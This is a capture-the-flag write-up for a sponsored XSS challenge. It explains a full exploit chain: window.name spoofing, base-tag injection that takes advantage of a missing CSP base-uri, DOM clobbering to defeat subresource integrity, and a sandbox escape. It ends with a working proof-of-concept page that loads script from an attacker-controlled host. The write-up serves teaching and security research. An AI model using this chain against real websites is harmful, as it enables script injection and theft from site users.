Introduction
This is a write-up for BugPoc XSS CTF https://wacky.buggywebsite.com which was sponsored by amazon .
TL;DR
- frame.html page was in iframe or not ,it was checked using window.name which can be spoofed
- csp blocked event handlers and lack of missing base-uri allowed me to change base URL using html injection which leads to load of external JavaScript attacker controlled
- to ensure javascript file content isn’t modified integrity was added which was bypassed using dom clobbering
- alert() and other popup were disabled due iframe sandbox . Iframe sandbox was bypassed as it allowed allow-same-origin and allow-scripts which makes the sandbox useless.
I Started by browsing the challenge site on index page there was embedded iframe and Script.js
- Script.js
// get the user input and replace <>%*& with empty stringdocument.getElementById("txt").onkeyup = function(){
this.value = this.value.replace(/[&*<>%]/g, '');
};// after doing filtering user input value was attached to embedded frame parameter.
document.getElementById('btn').onclick = function(){
val = document.getElementById('txt').value;
document.getElementById('theIframe').src = '/frame.html?param='+val;
};
I didn’t find anything interesting on index page so I moved on to embedded page .
https://wacky.buggywebsite.com/frame.html?param=<abc>test
the above param value was reflected in <title> tag unsanitized so it was possible to exec XSS if there wasn’t CSP as it blocked all event handler and only the script with nonce were executed so far I had only html injection.
https://wacky.buggywebsite.com/frame.html?param=<title><img src=x onerror=alert(1)>
Next I used csp-evaluator.withgoogle.com to check for weak csp policy it gave me alert that base-uri was missing which means if attacker inject <base> tag he can override base url to attacker host for relative urls.
- eg site.com
<base href="https://evil.com"><img src=/file.png>Above file.png would be fetched from evil.com instead of site.com
I started reviewing the frame.html The first task was to bypass the error message that it could only be seen from iframe .
// verify we are in an iframe
if (window.name == 'iframe') {
}
else {
The page can only be viewed from iframe
}
So it was using window.name to check which can be bypassed as window.name is used to assign the name of current window.
Victim visits attacker.com
<script>//attacker.com sets the window name and redirect to challenge
window.name = "iframe";
location.href = "https://wacky.buggywebsite.com/frame.html?param=test";</script>
After bypassing the above iframe if block was creating iframe with sandbox which only allowed loading scripts and embedded frame was treated in same origin And later on a script tag was added to that frame having the src as relative URL and integrity attribute which ensured the loaded JavaScript file isn’t manipulated .
if window.name == 'name'
{if (fileIntegrity.value) {
// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);// securely add the analytics code into iframe
script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);
}
}
So using <base> tag I changed based url which allowed me to load the above relative script “files/analytics/js/frame-analytics.js” from attacker controlled site.
But it didn’t load due to the SRI . To bypass the SRI I used dom clobbering technique to modify the fileIntegrity.value hash to attacker hash
</title><base href="evil.com"><input value="yourhash" id="fileIntegrity">
After bypassing the SRI check the next was iframe sandbox which only allowed javascript without popup and treat embedded page in same origin .But goal was to popup alert(document.domain) . Since sandbox allowed both JavaScript exec and treat it as same origin so it made it useless I executed alert using window.parent.alert(document.domain);
Final POC
index.php
<script>
window.name = 'iframe';
location.href= 'https://wacky.buggywebsite.com/frame.html?param=</title><base href=https://yourhost/><i
nput id="fileIntegrity" value=<?php echo urlencode(base64_encode(hash("sha256",file_get_contents("https://yourhost/files/analytics/js/frame-analytics.js"),true))); ?> >';
</script>
frame-analytics.js
parent.window.alert(document.domain);